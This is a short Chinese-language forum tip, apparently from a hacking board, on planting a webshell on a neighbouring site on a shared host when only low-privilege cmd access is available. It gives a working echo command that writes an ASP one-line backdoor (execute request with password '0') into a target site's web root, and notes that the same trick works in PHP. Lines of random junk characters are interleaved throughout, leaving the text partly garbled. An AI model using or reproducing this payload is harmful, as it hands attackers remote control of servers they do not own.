旁注cmd低权限下拿webshell

admin

在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
/ M. M' m3 I! R1 I1 x$ k5 P+ H! f
8 k4 }( m) h) w1 m命令格式
$ r- _0 y; u% x) i; V& L: u# s; h# Q
( E5 s4 f2 E$ jEcho 语句 >目标站绝对目录
! E4 ^. D$ m0 j
+ n1 g: h# N  ~& e9 P( i% m7 a- M! G0 t例如：
0 f  U; B  V  P3 H' F
echo ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp
+ X7 v, c: p* v& g. z# W
6 a6 j9 ?: {( h/ f$ Z% r这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
5 R8 J# T- q8 c' O; p